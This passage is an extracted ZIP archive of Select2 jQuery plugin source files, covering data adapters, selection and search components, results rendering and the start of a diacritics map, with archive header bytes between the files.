    } else if ($option.is('optgroup')) {
      data = {
        text: $option.prop('label'),
        children: [],
        title: $option.prop('title')
      };

      var $children = $option.children('option');
      var children = [];

      for (var c = 0; c < $children.length; c++) {
        var $child = $($children[c]);

        var child = this.item($child);

        children.push(child);
      }

      data.children = children;
    }

    data = this._normalizeItem(data);
    data.element = $option[0];

    Utils.StoreData($option[0], 'data', data);

    return data;
  };

  SelectAdapter.prototype._normalizeItem = function (item) {
    if (item !== Object(item)) {
      item = {
        id: item,
        text: item
      };
    }

    item = $.extend({}, {
      text: ''
    }, item);

    var defaults = {
      selected: false,
      disabled: false
    };

    if (item.id != null) {
      item.id = item.id.toString();
    }

    if (item.text != null) {
      item.text = item.text.toString();
    }

    if (item._resultId == null && item.id && this.container != null) {
      item._resultId = this.generateResultId(this.container, item);
    }

    return $.extend({}, defaults, item);
  };

  SelectAdapter.prototype.matches = function (params, data) {
    var matcher = this.options.get('matcher');

    return matcher(params, data);
  };

  return SelectAdapter;
});
PK�}�\�v�!��%js/select2/data/minimumInputLength.jsnu�[���define([

], function () {
  function MinimumInputLength (decorated, $e, options) {
    this.minimumInputLength = options.get('minimumInputLength');

    decorated.call(this, $e, options);
  }

  MinimumInputLength.prototype.query = function (decorated, params, callback) {
    params.term = params.term || '';

    if (params.term.length < this.minimumInputLength) {
      this.trigger('results:message', {
        message: 'inputTooShort',
        args: {
          minimum: this.minimumInputLength,
          input: params.term,
          params: params
        }
      });

      return;
    }

    decorated.call(this, params, callback);
  };

  return MinimumInputLength;
});
PK�}�\6�2l��%js/select2/data/maximumInputLength.jsnu�[���define([

], function () {
  function MaximumInputLength (decorated, $e, options) {
    this.maximumInputLength = options.get('maximumInputLength');

    decorated.call(this, $e, options);
  }

  MaximumInputLength.prototype.query = function (decorated, params, callback) {
    params.term = params.term || '';

    if (this.maximumInputLength > 0 &&
        params.term.length > this.maximumInputLength) {
      this.trigger('results:message', {
        message: 'inputTooLong',
        args: {
          maximum: this.maximumInputLength,
          input: params.term,
          params: params
        }
      });

      return;
    }

    decorated.call(this, params, callback);
  };

  return MaximumInputLength;
});
PK�}�\���Bcc)js/select2/data/maximumSelectionLength.jsnu�[���define([

], function (){
  function MaximumSelectionLength (decorated, $e, options) {
    this.maximumSelectionLength = options.get('maximumSelectionLength');

    decorated.call(this, $e, options);
  }

  MaximumSelectionLength.prototype.query =
    function (decorated, params, callback) {
      var self = this;

      this.current(function (currentData) {
        var count = currentData != null ? currentData.length : 0;
        if (self.maximumSelectionLength > 0 &&
          count >= self.maximumSelectionLength) {
          self.trigger('results:message', {
            message: 'maximumSelected',
            args: {
              maximum: self.maximumSelectionLength
            }
          });
          return;
        }
        decorated.call(self, params, callback);
      });
  };

  return MaximumSelectionLength;
});
PK�}�\����js/select2/selection/base.jsnu�[���define([
  'jquery',
  '../utils',
  '../keys'
], function ($, Utils, KEYS) {
  function BaseSelection ($element, options) {
    this.$element = $element;
    this.options = options;

    BaseSelection.__super__.constructor.call(this);
  }

  Utils.Extend(BaseSelection, Utils.Observable);

  BaseSelection.prototype.render = function () {
    var $selection = $(
      '<span class="select2-selection" role="combobox" ' +
      ' aria-haspopup="true" aria-expanded="false">' +
      '</span>'
    );

    this._tabindex = 0;

    if (Utils.GetData(this.$element[0], 'old-tabindex') != null) {
      this._tabindex = Utils.GetData(this.$element[0], 'old-tabindex');
    } else if (this.$element.attr('tabindex') != null) {
      this._tabindex = this.$element.attr('tabindex');
    }

    $selection.attr('title', this.$element.attr('title'));
    $selection.attr('tabindex', this._tabindex);

    this.$selection = $selection;

    return $selection;
  };

  BaseSelection.prototype.bind = function (container, $container) {
    var self = this;

    var id = container.id + '-container';
    var resultsId = container.id + '-results';

    this.container = container;

    this.$selection.on('focus', function (evt) {
      self.trigger('focus', evt);
    });

    this.$selection.on('blur', function (evt) {
      self._handleBlur(evt);
    });

    this.$selection.on('keydown', function (evt) {
      self.trigger('keypress', evt);

      if (evt.which === KEYS.SPACE) {
        evt.preventDefault();
      }
    });

    container.on('results:focus', function (params) {
      self.$selection.attr('aria-activedescendant', params.data._resultId);
    });

    container.on('selection:update', function (params) {
      self.update(params.data);
    });

    container.on('open', function () {
      // When the dropdown is open, aria-expanded="true"
      self.$selection.attr('aria-expanded', 'true');
      self.$selection.attr('aria-owns', resultsId);

      self._attachCloseHandler(container);
    });

    container.on('close', function () {
      // When the dropdown is closed, aria-expanded="false"
      self.$selection.attr('aria-expanded', 'false');
      self.$selection.removeAttr('aria-activedescendant');
      self.$selection.removeAttr('aria-owns');

      self.$selection.focus();
      window.setTimeout(function () {
        self.$selection.focus();
      }, 0);

      self._detachCloseHandler(container);
    });

    container.on('enable', function () {
      self.$selection.attr('tabindex', self._tabindex);
    });

    container.on('disable', function () {
      self.$selection.attr('tabindex', '-1');
    });
  };

  BaseSelection.prototype._handleBlur = function (evt) {
    var self = this;

    // This needs to be delayed as the active element is the body when the tab
    // key is pressed, possibly along with others.
    window.setTimeout(function () {
      // Don't trigger `blur` if the focus is still in the selection
      if (
        (document.activeElement == self.$selection[0]) ||
        ($.contains(self.$selection[0], document.activeElement))
      ) {
        return;
      }

      self.trigger('blur', evt);
    }, 1);
  };

  BaseSelection.prototype._attachCloseHandler = function (container) {
    var self = this;

    $(document.body).on('mousedown.select2.' + container.id, function (e) {
      var $target = $(e.target);

      var $select = $target.closest('.select2');

      var $all = $('.select2.select2-container--open');

      $all.each(function () {
        var $this = $(this);

        if (this == $select[0]) {
          return;
        }

        var $element = Utils.GetData(this, 'element');

        $element.select2('close');
      });
    });
  };

  BaseSelection.prototype._detachCloseHandler = function (container) {
    $(document.body).off('mousedown.select2.' + container.id);
  };

  BaseSelection.prototype.position = function ($selection, $container) {
    var $selectionContainer = $container.find('.selection');
    $selectionContainer.append($selection);
  };

  BaseSelection.prototype.destroy = function () {
    this._detachCloseHandler(this.container);
  };

  BaseSelection.prototype.update = function (data) {
    throw new Error('The `update` method must be defined in child classes.');
  };

  return BaseSelection;
});
PK�}�\R�J���js/select2/selection/search.jsnu�[���define([
  'jquery',
  '../utils',
  '../keys'
], function ($, Utils, KEYS) {
  function Search (decorated, $element, options) {
    decorated.call(this, $element, options);
  }

  Search.prototype.render = function (decorated) {
    var $search = $(
      '<li class="select2-search select2-search--inline">' +
        '<input class="select2-search__field" type="search" tabindex="-1"' +
        ' autocomplete="off" autocorrect="off" autocapitalize="none"' +
        ' spellcheck="false" role="textbox" aria-autocomplete="list" />' +
      '</li>'
    );

    this.$searchContainer = $search;
    this.$search = $search.find('input');

    var $rendered = decorated.call(this);

    this._transferTabIndex();

    return $rendered;
  };

  Search.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('open', function () {
      self.$search.trigger('focus');
    });

    container.on('close', function () {
      self.$search.val('');
      self.$search.removeAttr('aria-activedescendant');
      self.$search.trigger('focus');
    });

    container.on('enable', function () {
      self.$search.prop('disabled', false);

      self._transferTabIndex();
    });

    container.on('disable', function () {
      self.$search.prop('disabled', true);
    });

    container.on('focus', function (evt) {
      self.$search.trigger('focus');
    });

    container.on('results:focus', function (params) {
      self.$search.attr('aria-activedescendant', params.id);
    });

    this.$selection.on('focusin', '.select2-search--inline', function (evt) {
      self.trigger('focus', evt);
    });

    this.$selection.on('focusout', '.select2-search--inline', function (evt) {
      self._handleBlur(evt);
    });

    this.$selection.on('keydown', '.select2-search--inline', function (evt) {
      evt.stopPropagation();

      self.trigger('keypress', evt);

      self._keyUpPrevented = evt.isDefaultPrevented();

      var key = evt.which;

      if (key === KEYS.BACKSPACE && self.$search.val() === '') {
        var $previousChoice = self.$searchContainer
          .prev('.select2-selection__choice');

        if ($previousChoice.length > 0) {
          var item = Utils.GetData($previousChoice[0], 'data');

          self.searchRemoveChoice(item);

          evt.preventDefault();
        }
      }
    });

    // Try to detect the IE version should the `documentMode` property that
    // is stored on the document. This is only implemented in IE and is
    // slightly cleaner than doing a user agent check.
    // This property is not available in Edge, but Edge also doesn't have
    // this bug.
    var msie = document.documentMode;
    var disableInputEvents = msie && msie <= 11;

    // Workaround for browsers which do not support the `input` event
    // This will prevent double-triggering of events for browsers which support
    // both the `keyup` and `input` events.
    this.$selection.on(
      'input.searchcheck',
      '.select2-search--inline',
      function (evt) {
        // IE will trigger the `input` event when a placeholder is used on a
        // search box. To get around this issue, we are forced to ignore all
        // `input` events in IE and keep using `keyup`.
        if (disableInputEvents) {
          self.$selection.off('input.search input.searchcheck');
          return;
        }

        // Unbind the duplicated `keyup` event
        self.$selection.off('keyup.search');
      }
    );

    this.$selection.on(
      'keyup.search input.search',
      '.select2-search--inline',
      function (evt) {
        // IE will trigger the `input` event when a placeholder is used on a
        // search box. To get around this issue, we are forced to ignore all
        // `input` events in IE and keep using `keyup`.
        if (disableInputEvents && evt.type === 'input') {
          self.$selection.off('input.search input.searchcheck');
          return;
        }

        var key = evt.which;

        // We can freely ignore events from modifier keys
        if (key == KEYS.SHIFT || key == KEYS.CTRL || key == KEYS.ALT) {
          return;
        }

        // Tabbing will be handled during the `keydown` phase
        if (key == KEYS.TAB) {
          return;
        }

        self.handleSearch(evt);
      }
    );
  };

  /**
   * This method will transfer the tabindex attribute from the rendered
   * selection to the search box. This allows for the search box to be used as
   * the primary focus instead of the selection container.
   *
   * @private
   */
  Search.prototype._transferTabIndex = function (decorated) {
    this.$search.attr('tabindex', this.$selection.attr('tabindex'));
    this.$selection.attr('tabindex', '-1');
  };

  Search.prototype.createPlaceholder = function (decorated, placeholder) {
    this.$search.attr('placeholder', placeholder.text);
  };

  Search.prototype.update = function (decorated, data) {
    var searchHadFocus = this.$search[0] == document.activeElement;

    this.$search.attr('placeholder', '');

    decorated.call(this, data);

    this.$selection.find('.select2-selection__rendered')
                   .append(this.$searchContainer);

    this.resizeSearch();
    if (searchHadFocus) {
      var isTagInput = this.$element.find('[data-select2-tag]').length;
      if (isTagInput) {
        // fix IE11 bug where tag input lost focus
        this.$element.focus();
      } else {
        this.$search.focus();
      }
    }
  };

  Search.prototype.handleSearch = function () {
    this.resizeSearch();

    if (!this._keyUpPrevented) {
      var input = this.$search.val();

      this.trigger('query', {
        term: input
      });
    }

    this._keyUpPrevented = false;
  };

  Search.prototype.searchRemoveChoice = function (decorated, item) {
    this.trigger('unselect', {
      data: item
    });

    this.$search.val(item.text);
    this.handleSearch();
  };

  Search.prototype.resizeSearch = function () {
    this.$search.css('width', '25px');

    var width = '';

    if (this.$search.attr('placeholder') !== '') {
      width = this.$selection.find('.select2-selection__rendered').innerWidth();
    } else {
      var minimumWidth = this.$search.val().length + 1;

      width = (minimumWidth * 0.75) + 'em';
    }

    this.$search.css('width', width);
  };

  return Search;
});
PK�}�\����
�
"js/select2/selection/allowClear.jsnu�[���define([
  'jquery',
  '../keys',
  '../utils'
], function ($, KEYS, Utils) {
  function AllowClear () { }

  AllowClear.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    if (this.placeholder == null) {
      if (this.options.get('debug') && window.console && console.error) {
        console.error(
          'Select2: The `allowClear` option should be used in combination ' +
          'with the `placeholder` option.'
        );
      }
    }

    this.$selection.on('mousedown', '.select2-selection__clear',
      function (evt) {
        self._handleClear(evt);
    });

    container.on('keypress', function (evt) {
      self._handleKeyboardClear(evt, container);
    });
  };

  AllowClear.prototype._handleClear = function (_, evt) {
    // Ignore the event if it is disabled
    if (this.options.get('disabled')) {
      return;
    }

    var $clear = this.$selection.find('.select2-selection__clear');

    // Ignore the event if nothing has been selected
    if ($clear.length === 0) {
      return;
    }

    evt.stopPropagation();

    var data = Utils.GetData($clear[0], 'data');

    var previousVal = this.$element.val();
    this.$element.val(this.placeholder.id);

    var unselectData = {
      data: data
    };
    this.trigger('clear', unselectData);
    if (unselectData.prevented) {
      this.$element.val(previousVal);
      return;
    }

    for (var d = 0; d < data.length; d++) {
      unselectData = {
        data: data[d]
      };

      // Trigger the `unselect` event, so people can prevent it from being
      // cleared.
      this.trigger('unselect', unselectData);

      // If the event was prevented, don't clear it out.
      if (unselectData.prevented) {
        this.$element.val(previousVal);
        return;
      }
    }

    this.$element.trigger('change');

    this.trigger('toggle', {});
  };

  AllowClear.prototype._handleKeyboardClear = function (_, evt, container) {
    if (container.isOpen()) {
      return;
    }

    if (evt.which == KEYS.DELETE || evt.which == KEYS.BACKSPACE) {
      this._handleClear(evt);
    }
  };

  AllowClear.prototype.update = function (decorated, data) {
    decorated.call(this, data);

    if (this.$selection.find('.select2-selection__placeholder').length > 0 ||
        data.length === 0) {
      return;
    }

    var $remove = $(
      '<span class="select2-selection__clear">' +
        '&times;' +
      '</span>'
    );
    Utils.StoreData($remove[0], 'data', data);

    this.$selection.find('.select2-selection__rendered').prepend($remove);
  };

  return AllowClear;
});
PK�}�\.�c�
�
js/select2/selection/single.jsnu�[���define([
  'jquery',
  './base',
  '../utils',
  '../keys'
], function ($, BaseSelection, Utils, KEYS) {
  function SingleSelection () {
    SingleSelection.__super__.constructor.apply(this, arguments);
  }

  Utils.Extend(SingleSelection, BaseSelection);

  SingleSelection.prototype.render = function () {
    var $selection = SingleSelection.__super__.render.call(this);

    $selection.addClass('select2-selection--single');

    $selection.html(
      '<span class="select2-selection__rendered"></span>' +
      '<span class="select2-selection__arrow" role="presentation">' +
        '<b role="presentation"></b>' +
      '</span>'
    );

    return $selection;
  };

  SingleSelection.prototype.bind = function (container, $container) {
    var self = this;

    SingleSelection.__super__.bind.apply(this, arguments);

    var id = container.id + '-container';

    this.$selection.find('.select2-selection__rendered')
      .attr('id', id)
      .attr('role', 'textbox')
      .attr('aria-readonly', 'true');
    this.$selection.attr('aria-labelledby', id);

    this.$selection.on('mousedown', function (evt) {
      // Only respond to left clicks
      if (evt.which !== 1) {
        return;
      }

      self.trigger('toggle', {
        originalEvent: evt
      });
    });

    this.$selection.on('focus', function (evt) {
      // User focuses on the container
    });

    this.$selection.on('blur', function (evt) {
      // User exits the container
    });

    container.on('focus', function (evt) {
      if (!container.isOpen()) {
        self.$selection.focus();
      }
    });
  };

  SingleSelection.prototype.clear = function () {
    var $rendered = this.$selection.find('.select2-selection__rendered');
    $rendered.empty();
    $rendered.removeAttr('title'); // clear tooltip on empty
  };

  SingleSelection.prototype.display = function (data, container) {
    var template = this.options.get('templateSelection');
    var escapeMarkup = this.options.get('escapeMarkup');

    return escapeMarkup(template(data, container));
  };

  SingleSelection.prototype.selectionContainer = function () {
    return $('<span></span>');
  };

  SingleSelection.prototype.update = function (data) {
    if (data.length === 0) {
      this.clear();
      return;
    }

    var selection = data[0];

    var $rendered = this.$selection.find('.select2-selection__rendered');
    var formatted = this.display(selection, $rendered);

    $rendered.empty().append(formatted);
    $rendered.attr('title', selection.title || selection.text);
  };

  return SingleSelection;
});
PK�}�\�*5��"js/select2/selection/eventRelay.jsnu�[���define([
  'jquery'
], function ($) {
  function EventRelay () { }

  EventRelay.prototype.bind = function (decorated, container, $container) {
    var self = this;
    var relayEvents = [
      'open', 'opening',
      'close', 'closing',
      'select', 'selecting',
      'unselect', 'unselecting',
      'clear', 'clearing'
    ];

    var preventableEvents = [
      'opening', 'closing', 'selecting', 'unselecting', 'clearing'
    ];

    decorated.call(this, container, $container);

    container.on('*', function (name, params) {
      // Ignore events that should not be relayed
      if ($.inArray(name, relayEvents) === -1) {
        return;
      }

      // The parameters should always be an object
      params = params || {};

      // Generate the jQuery event for the Select2 event
      var evt = $.Event('select2:' + name, {
        params: params
      });

      self.$element.trigger(evt);

      // Only handle preventable events if it was one
      if ($.inArray(name, preventableEvents) === -1) {
        return;
      }

      params.prevented = evt.isDefaultPrevented();
    });
  };

  return EventRelay;
});
PK�}�\����!js/select2/selection/clickMask.jsnu�[���define([
  'jquery'
], function ($) {
  function ClickMask () { }

  ClickMask.prototype.bind = function (decorate, $container, container) {
    var self = this;

    decorate.call(this, $container, container);

    this.$mask = $(
      '<div class="select2-close-mask"></div>'
    );

    this.$mask.on('mousedown touchstart click', function () {
      self.trigger('close', {});
    });
  };

  ClickMask.prototype._attachCloseHandler = function (decorate, container) {
    $(document.body).append(this.$mask);
  };

  ClickMask.prototype._detachCloseHandler = function (deocrate, container) {
    this.$mask.detach();
  };

  return ClickMask;
});
PK�}�\8(�;;#js/select2/selection/placeholder.jsnu�[���define([
  '../utils'
], function (Utils) {
  function Placeholder (decorated, $element, options) {
    this.placeholder = this.normalizePlaceholder(options.get('placeholder'));

    decorated.call(this, $element, options);
  }

  Placeholder.prototype.normalizePlaceholder = function (_, placeholder) {
    if (typeof placeholder === 'string') {
      placeholder = {
        id: '',
        text: placeholder
      };
    }

    return placeholder;
  };

  Placeholder.prototype.createPlaceholder = function (decorated, placeholder) {
    var $placeholder = this.selectionContainer();

    $placeholder.html(this.display(placeholder));
    $placeholder.addClass('select2-selection__placeholder')
                .removeClass('select2-selection__choice');

    return $placeholder;
  };

  Placeholder.prototype.update = function (decorated, data) {
    var singlePlaceholder = (
      data.length == 1 && data[0].id != this.placeholder.id
    );
    var multipleSelections = data.length > 1;

    if (multipleSelections || singlePlaceholder) {
      return decorated.call(this, data);
    }

    this.clear();

    var $placeholder = this.createPlaceholder(this.placeholder);

    this.$selection.find('.select2-selection__rendered').append($placeholder);
  };

  return Placeholder;
});
PK�}�\��66 js/select2/selection/multiple.jsnu�[���define([
  'jquery',
  './base',
  '../utils'
], function ($, BaseSelection, Utils) {
  function MultipleSelection ($element, options) {
    MultipleSelection.__super__.constructor.apply(this, arguments);
  }

  Utils.Extend(MultipleSelection, BaseSelection);

  MultipleSelection.prototype.render = function () {
    var $selection = MultipleSelection.__super__.render.call(this);

    $selection.addClass('select2-selection--multiple');

    $selection.html(
      '<ul class="select2-selection__rendered"></ul>'
    );

    return $selection;
  };

  MultipleSelection.prototype.bind = function (container, $container) {
    var self = this;

    MultipleSelection.__super__.bind.apply(this, arguments);

    this.$selection.on('click', function (evt) {
      self.trigger('toggle', {
        originalEvent: evt
      });
    });

    this.$selection.on(
      'click',
      '.select2-selection__choice__remove',
      function (evt) {
        // Ignore the event if it is disabled
        if (self.options.get('disabled')) {
          return;
        }

        var $remove = $(this);
        var $selection = $remove.parent();

        var data = Utils.GetData($selection[0], 'data');

        self.trigger('unselect', {
          originalEvent: evt,
          data: data
        });
      }
    );
  };

  MultipleSelection.prototype.clear = function () {
    var $rendered = this.$selection.find('.select2-selection__rendered');
    $rendered.empty();
    $rendered.removeAttr('title');
  };

  MultipleSelection.prototype.display = function (data, container) {
    var template = this.options.get('templateSelection');
    var escapeMarkup = this.options.get('escapeMarkup');

    return escapeMarkup(template(data, container));
  };

  MultipleSelection.prototype.selectionContainer = function () {
    var $container = $(
      '<li class="select2-selection__choice">' +
        '<span class="select2-selection__choice__remove" role="presentation">' +
          '&times;' +
        '</span>' +
      '</li>'
    );

    return $container;
  };

  MultipleSelection.prototype.update = function (data) {
    this.clear();

    if (data.length === 0) {
      return;
    }

    var $selections = [];

    for (var d = 0; d < data.length; d++) {
      var selection = data[d];

      var $selection = this.selectionContainer();
      var formatted = this.display(selection, $selection);

      $selection.append(formatted);
      $selection.attr('title', selection.title || selection.text);

      Utils.StoreData($selection[0], 'data', selection);

      $selections.push($selection);
    }

    var $rendered = this.$selection.find('.select2-selection__rendered');

    Utils.appendMany($rendered, $selections);
  };

  return MultipleSelection;
});
PK�}�\7Q��'js/select2/selection/stopPropagation.jsnu�[���define([

], function () {
  function StopPropagation () { }

  StopPropagation.prototype.bind = function (decorated, container, $container) {
    decorated.call(this, container, $container);

    var stoppedEvents = [
      'blur',
      'change',
      'click',
      'dblclick',
      'focus',
      'focusin',
      'focusout',
      'input',
      'keydown',
      'keyup',
      'keypress',
      'mousedown',
      'mouseenter',
      'mouseleave',
      'mousemove',
      'mouseover',
      'mouseup',
      'search',
      'touchend',
      'touchstart'
    ];

    this.$selection.on(stoppedEvents.join(' '), function (evt) {
      evt.stopPropagation();
    });
  };

  return StopPropagation;
});
PK�}�\(S��4�4js/select2/results.jsnu�[���define([
  'jquery',
  './utils'
], function ($, Utils) {
  function Results ($element, options, dataAdapter) {
    this.$element = $element;
    this.data = dataAdapter;
    this.options = options;

    Results.__super__.constructor.call(this);
  }

  Utils.Extend(Results, Utils.Observable);

  Results.prototype.render = function () {
    var $results = $(
      '<ul class="select2-results__options" role="tree"></ul>'
    );

    if (this.options.get('multiple')) {
      $results.attr('aria-multiselectable', 'true');
    }

    this.$results = $results;

    return $results;
  };

  Results.prototype.clear = function () {
    this.$results.empty();
  };

  Results.prototype.displayMessage = function (params) {
    var escapeMarkup = this.options.get('escapeMarkup');

    this.clear();
    this.hideLoading();

    var $message = $(
      '<li role="treeitem" aria-live="assertive"' +
      ' class="select2-results__option"></li>'
    );

    var message = this.options.get('translations').get(params.message);

    $message.append(
      escapeMarkup(
        message(params.args)
      )
    );

    $message[0].className += ' select2-results__message';

    this.$results.append($message);
  };

  Results.prototype.hideMessages = function () {
    this.$results.find('.select2-results__message').remove();
  };

  Results.prototype.append = function (data) {
    this.hideLoading();

    var $options = [];

    if (data.results == null || data.results.length === 0) {
      if (this.$results.children().length === 0) {
        this.trigger('results:message', {
          message: 'noResults'
        });
      }

      return;
    }

    data.results = this.sort(data.results);

    for (var d = 0; d < data.results.length; d++) {
      var item = data.results[d];

      var $option = this.option(item);

      $options.push($option);
    }

    this.$results.append($options);
  };

  Results.prototype.position = function ($results, $dropdown) {
    var $resultsContainer = $dropdown.find('.select2-results');
    $resultsContainer.append($results);
  };

  Results.prototype.sort = function (data) {
    var sorter = this.options.get('sorter');

    return sorter(data);
  };

  Results.prototype.highlightFirstItem = function () {
    var $options = this.$results
      .find('.select2-results__option[aria-selected]');

    var $selected = $options.filter('[aria-selected=true]');

    // Check if there are any selected options
    if ($selected.length > 0) {
      // If there are selected options, highlight the first
      $selected.first().trigger('mouseenter');
    } else {
      // If there are no selected options, highlight the first option
      // in the dropdown
      $options.first().trigger('mouseenter');
    }

    this.ensureHighlightVisible();
  };

  Results.prototype.setClasses = function () {
    var self = this;

    this.data.current(function (selected) {
      var selectedIds = $.map(selected, function (s) {
        return s.id.toString();
      });

      var $options = self.$results
        .find('.select2-results__option[aria-selected]');

      $options.each(function () {
        var $option = $(this);

        var item = Utils.GetData(this, 'data');

        // id needs to be converted to a string when comparing
        var id = '' + item.id;

        if ((item.element != null && item.element.selected) ||
            (item.element == null && $.inArray(id, selectedIds) > -1)) {
          $option.attr('aria-selected', 'true');
        } else {
          $option.attr('aria-selected', 'false');
        }
      });

    });
  };

  Results.prototype.showLoading = function (params) {
    this.hideLoading();

    var loadingMore = this.options.get('translations').get('searching');

    var loading = {
      disabled: true,
      loading: true,
      text: loadingMore(params)
    };
    var $loading = this.option(loading);
    $loading.className += ' loading-results';

    this.$results.prepend($loading);
  };

  Results.prototype.hideLoading = function () {
    this.$results.find('.loading-results').remove();
  };

  Results.prototype.option = function (data) {
    var option = document.createElement('li');
    option.className = 'select2-results__option';

    var attrs = {
      'role': 'treeitem',
      'aria-selected': 'false'
    };

    if (data.disabled) {
      delete attrs['aria-selected'];
      attrs['aria-disabled'] = 'true';
    }

    if (data.id == null) {
      delete attrs['aria-selected'];
    }

    if (data._resultId != null) {
      option.id = data._resultId;
    }

    if (data.title) {
      option.title = data.title;
    }

    if (data.children) {
      attrs.role = 'group';
      attrs['aria-label'] = data.text;
      delete attrs['aria-selected'];
    }

    for (var attr in attrs) {
      var val = attrs[attr];

      option.setAttribute(attr, val);
    }

    if (data.children) {
      var $option = $(option);

      var label = document.createElement('strong');
      label.className = 'select2-results__group';

      var $label = $(label);
      this.template(data, label);

      var $children = [];

      for (var c = 0; c < data.children.length; c++) {
        var child = data.children[c];

        var $child = this.option(child);

        $children.push($child);
      }

      var $childrenContainer = $('<ul></ul>', {
        'class': 'select2-results__options select2-results__options--nested'
      });

      $childrenContainer.append($children);

      $option.append(label);
      $option.append($childrenContainer);
    } else {
      this.template(data, option);
    }

    Utils.StoreData(option, 'data', data);

    return option;
  };

  Results.prototype.bind = function (container, $container) {
    var self = this;

    var id = container.id + '-results';

    this.$results.attr('id', id);

    container.on('results:all', function (params) {
      self.clear();
      self.append(params.data);

      if (container.isOpen()) {
        self.setClasses();
        self.highlightFirstItem();
      }
    });

    container.on('results:append', function (params) {
      self.append(params.data);

      if (container.isOpen()) {
        self.setClasses();
      }
    });

    container.on('query', function (params) {
      self.hideMessages();
      self.showLoading(params);
    });

    container.on('select', function () {
      if (!container.isOpen()) {
        return;
      }

      self.setClasses();
      self.highlightFirstItem();
    });

    container.on('unselect', function () {
      if (!container.isOpen()) {
        return;
      }

      self.setClasses();
      self.highlightFirstItem();
    });

    container.on('open', function () {
      // When the dropdown is open, aria-expended="true"
      self.$results.attr('aria-expanded', 'true');
      self.$results.attr('aria-hidden', 'false');

      self.setClasses();
      self.ensureHighlightVisible();
    });

    container.on('close', function () {
      // When the dropdown is closed, aria-expended="false"
      self.$results.attr('aria-expanded', 'false');
      self.$results.attr('aria-hidden', 'true');
      self.$results.removeAttr('aria-activedescendant');
    });

    container.on('results:toggle', function () {
      var $highlighted = self.getHighlightedResults();

      if ($highlighted.length === 0) {
        return;
      }

      $highlighted.trigger('mouseup');
    });

    container.on('results:select', function () {
      var $highlighted = self.getHighlightedResults();

      if ($highlighted.length === 0) {
        return;
      }

      var data = Utils.GetData($highlighted[0], 'data');

      if ($highlighted.attr('aria-selected') == 'true') {
        self.trigger('close', {});
      } else {
        self.trigger('select', {
          data: data
        });
      }
    });

    container.on('results:previous', function () {
      var $highlighted = self.getHighlightedResults();

      var $options = self.$results.find('[aria-selected]');

      var currentIndex = $options.index($highlighted);

      // If we are already at te top, don't move further
      // If no options, currentIndex will be -1
      if (currentIndex <= 0) {
        return;
      }

      var nextIndex = currentIndex - 1;

      // If none are highlighted, highlight the first
      if ($highlighted.length === 0) {
        nextIndex = 0;
      }

      var $next = $options.eq(nextIndex);

      $next.trigger('mouseenter');

      var currentOffset = self.$results.offset().top;
      var nextTop = $next.offset().top;
      var nextOffset = self.$results.scrollTop() + (nextTop - currentOffset);

      if (nextIndex === 0) {
        self.$results.scrollTop(0);
      } else if (nextTop - currentOffset < 0) {
        self.$results.scrollTop(nextOffset);
      }
    });

    container.on('results:next', function () {
      var $highlighted = self.getHighlightedResults();

      var $options = self.$results.find('[aria-selected]');

      var currentIndex = $options.index($highlighted);

      var nextIndex = currentIndex + 1;

      // If we are at the last option, stay there
      if (nextIndex >= $options.length) {
        return;
      }

      var $next = $options.eq(nextIndex);

      $next.trigger('mouseenter');

      var currentOffset = self.$results.offset().top +
        self.$results.outerHeight(false);
      var nextBottom = $next.offset().top + $next.outerHeight(false);
      var nextOffset = self.$results.scrollTop() + nextBottom - currentOffset;

      if (nextIndex === 0) {
        self.$results.scrollTop(0);
      } else if (nextBottom > currentOffset) {
        self.$results.scrollTop(nextOffset);
      }
    });

    container.on('results:focus', function (params) {
      params.element.addClass('select2-results__option--highlighted');
    });

    container.on('results:message', function (params) {
      self.displayMessage(params);
    });

    if ($.fn.mousewheel) {
      this.$results.on('mousewheel', function (e) {
        var top = self.$results.scrollTop();

        var bottom = self.$results.get(0).scrollHeight - top + e.deltaY;

        var isAtTop = e.deltaY > 0 && top - e.deltaY <= 0;
        var isAtBottom = e.deltaY < 0 && bottom <= self.$results.height();

        if (isAtTop) {
          self.$results.scrollTop(0);

          e.preventDefault();
          e.stopPropagation();
        } else if (isAtBottom) {
          self.$results.scrollTop(
            self.$results.get(0).scrollHeight - self.$results.height()
          );

          e.preventDefault();
          e.stopPropagation();
        }
      });
    }

    this.$results.on('mouseup', '.select2-results__option[aria-selected]',
      function (evt) {
      var $this = $(this);

      var data = Utils.GetData(this, 'data');

      if ($this.attr('aria-selected') === 'true') {
        if (self.options.get('multiple')) {
          self.trigger('unselect', {
            originalEvent: evt,
            data: data
          });
        } else {
          self.trigger('close', {});
        }

        return;
      }

      self.trigger('select', {
        originalEvent: evt,
        data: data
      });
    });

    this.$results.on('mouseenter', '.select2-results__option[aria-selected]',
      function (evt) {
      var data = Utils.GetData(this, 'data');

      self.getHighlightedResults()
          .removeClass('select2-results__option--highlighted');

      self.trigger('results:focus', {
        data: data,
        element: $(this)
      });
    });
  };

  Results.prototype.getHighlightedResults = function () {
    var $highlighted = this.$results
    .find('.select2-results__option--highlighted');

    return $highlighted;
  };

  Results.prototype.destroy = function () {
    this.$results.remove();
  };

  Results.prototype.ensureHighlightVisible = function () {
    var $highlighted = this.getHighlightedResults();

    if ($highlighted.length === 0) {
      return;
    }

    var $options = this.$results.find('[aria-selected]');

    var currentIndex = $options.index($highlighted);

    var currentOffset = this.$results.offset().top;
    var nextTop = $highlighted.offset().top;
    var nextOffset = this.$results.scrollTop() + (nextTop - currentOffset);

    var offsetDelta = nextTop - currentOffset;
    nextOffset -= $highlighted.outerHeight(false) * 2;

    if (currentIndex <= 2) {
      this.$results.scrollTop(0);
    } else if (offsetDelta > this.$results.outerHeight() || offsetDelta < 0) {
      this.$results.scrollTop(nextOffset);
    }
  };

  Results.prototype.template = function (result, container) {
    var template = this.options.get('templateResult');
    var escapeMarkup = this.options.get('escapeMarkup');

    var content = template(result, container);

    if (content == null) {
      container.style.display = 'none';
    } else if (typeof content === 'string') {
      container.innerHTML = escapeMarkup(content);
    } else {
      $(container).append(content);
    }
  };

  return Results;
});
PK�}�\��tBtBjs/select2/diacritics.jsnu�[���define([

], function () {
  var diacritics = {
    '\u24B6': 'A',
    '\uFF21': 'A',
    '\u00C0': 'A',
    '\u00C1': 'A',
    '\u00C2': 'A',
    '\u1EA6': 'A',
    '\u1EA4': 'A',
    '\u1EAA': 'A',
    '\u1EA8': 'A',
    '\u00C3': 'A',
    '\u0100': 'A',
    '\u0102': 'A',
    '\u1EB0': 'A',
